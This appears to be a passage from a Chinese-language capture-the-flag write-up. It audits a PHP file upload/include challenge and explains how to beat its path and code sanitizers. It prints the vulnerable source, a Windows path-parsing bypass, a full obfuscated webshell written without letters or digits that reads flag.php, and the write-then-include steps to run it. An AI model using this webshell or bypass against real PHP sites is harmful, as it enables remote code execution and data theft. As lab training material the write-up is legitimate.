下源码审计。
<?php
function path_sanitizer($dir, $harden=false){
$dir = (string)$dir;
$dir_len = strlen($dir);
// Deny LFI/RFI/XSS //
$filter = ['.', './', '~', '.\\', '#', '<', '>'];
foreach($filter as $f){
if(stripos($dir, $f) !== false){
return false;
}
}
// Deny SSRF and all possible weird bypasses //
$stream = stream_get_wrappers();
$stream = array_merge($stream, stream_get_transports());
$stream = array_merge($stream, stream_get_filters());
foreach($stream as $f){
$f_len = strlen($f);
if(substr($dir, 0, $f_len) === $f){
return false;
}
}
// Deny length //
if($dir_len >= 128){
return false;
}
// Easy level hardening //
if($harden){
$harden_filter = ["/", "\\"];
foreach($harden_filter as $f){
$dir = str_replace($f, "", $dir);
}
}
// Sanitize feature is available starting from the medium level //
return $dir;
}
// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}
// Errors are intended and straightforward. Please do not ask questions. //
class Get {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
function __construct($filename){
$this->filename = path_sanitizer($filename);
}
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if(!@file_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}
// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}
}
class Put {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
private $content;
private $dir = "./files/";
function __construct($filename, $data){
global $seed;
if((string)$filename === (string)@path_sanitizer($data['filename'])){
$this->filename = (string)$filename;
}else{
$this->filename = false;
}
$this->content = (string)@code_sanitizer($data['content']);
}
function put(){
// just another typical file insertion //
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// check if file exists //
if(file_exists($this->dir . $this->filename)){
return ["msg" => "file exists", "type" => "error"];
}
file_put_contents($this->dir . $this->filename, $this->content);
// just check if file is written. hopefully. //
if(@file_get_contents($this->dir . $this->filename) == ""){
return ["msg" => "file not written.", "type" => "error"];
}
return ["type" => "success"];
}
}
// Triggering this is nearly impossible //
class System {
function __destruct(){
global $seed;
// ain't Argon2, ain't pbkdf2. what could go wrong?
$flag = hash('sha256', $seed);
if($_GET[$flag]){
@system($_GET[$flag]);
}else{
@unserialize($_SESSION[$flag]);
}
}
}
// Don't call me a savage... I gave everything you need //
if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
show_source(__FILE__);
exit;
}
$parsed_url = explode("&", $_SERVER['QUERY_STRING']);
if(count($parsed_url) >= 2){
header("Content-Type:text/json");
switch($parsed_url[0]){
case "get":
$get = new Get($parsed_url[1]);
$data = $get->get();
break;
case "put":
$put = new Put($parsed_url[1], $_POST);
$data = $put->put();
break;
default:
$data = ["msg" => "Invalid data."];
break;
}
die(json_encode($data));
}
?>
首先。会从我们请求的URL中。以&分割。赋值给$parsed_url
比如
xxx.com/?test&123
解析后:
$parsed_url[0]=test
$parsed_url[1]=123
然后。他就会根据$parsed_url[0]
来进入不同的类。实现不同的功能。$parsed_url[1]
作为参数。传入类中
先看Get类
将传入的值进入path_sanitizer
函数。
不能有如下的值
$filter = ['.', './', '~', '.\\', '#', '<', '>'];
然后调用get方法
判断传入的值(文件)是否存在。然后拼接
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
这里调用path_sanitizer函数。第二个参数为True。将\/替换为空
比较这两个变量是否相同。或者file_get_contents两个文件。比较是否相同
然后include文件
如果是Linux下。看了WP。这里是用了windows的特性。利用"会解析为.
第一个变量经过函数处理。变成
./files/"/test
第二个变量经过函数处理。变成
./files/"test
然后file_get_contents。分别会读取./files/./test
和./files/.test
。
第一个变量和第二个变量不相同。并且读取的文件内容也都不相同。所以。可以过if判断
。这里存在文件包含。然后看PUT类
put请求如下
url中的test。会作为参数进入PUT类。
如果url中的filename和经过path_sanitizer处理的POST DATA中的filename一致。那么就将URL中的filename赋值给$this->filename
这个代码没看懂想实现啥东西。就不能包含文件名黑名单的内容。然后URL和data中的filename一致就行
接着就是put。我们传入的文件名。文件内容不能包含
$code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
就是个无数字字母webshell。直接给出file_get_contents('flag.php')的shell
<?=$_=[];$_="$_";$_=$_[("!"=="!")+("!"=="!")+("!"=="!")];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$_;$___++;$___++;$___++;$___++;$____=$_;$_____=$_;$_____++;$_____++;$_____++;$______=$_;$______++;$______++;$______++;$______++;$______++;$__=$__.$___.$____.$_____.$______;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$__=$__.$___.$____.$_____;$___=$_;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$______=$_;$______++;$______++;$______++;$______++;$______++;$______++;$___=$___.$____.$_____.$______;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___=$___.'.'.$____.$_____.$____;$__($___);?>
然后。就写入文件了。那么大致意思就是。put写shell。然后get包含执行
。首先通过之前的windows特性。我们写个./files/test
然后利用windows特性包含./files/"/test
==./files/./test
成功包含
还有其他解法。都是利用这几个函数执行的差异。
这里偷个图
我们可以利用test::$INDEX_ALLOCATION
生成test文件夹。然后第一次访问创建文件夹
第二次访问test/abc。写shell
然后第三次包含